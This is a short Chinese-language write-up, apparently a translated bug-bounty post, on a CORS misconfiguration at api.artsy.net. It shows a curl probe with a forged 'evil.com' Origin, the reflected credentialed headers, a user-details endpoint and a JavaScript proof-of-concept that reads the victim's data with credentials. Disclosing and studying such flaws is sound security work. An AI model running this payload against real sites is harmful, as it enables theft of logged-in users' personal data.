漏洞:跨域请求
难度:低
大家好!几个月来我测试了许多不同站点的CORS(跨域资源共享)问题,以便我能更实际的了解它。如果想要测试一个站点是否存在CORS漏洞,我们先用curl来检测
1
| curl https://api.artsy.net -H "Origin: https://evil.com" -I
|

正如您所见,Curl请求的响应包括如下所示,这意味着该站点存在CORS漏洞
1 2
| Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://evil.com
|
现在需要做的就是找一个能获取用户信息的API接口,然后构建我们的EXP站点
1
| https://api.artsy.net/api/user_details/user
|
[*]payload代码
1 2 3 4 5 6 7 8 9 10 11 12
| function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "https://api.artsy.net/api/user_details/<User-ID>", true); xhttp.withCredentials = true; xhttp.send(); }
|

##
打赏译者
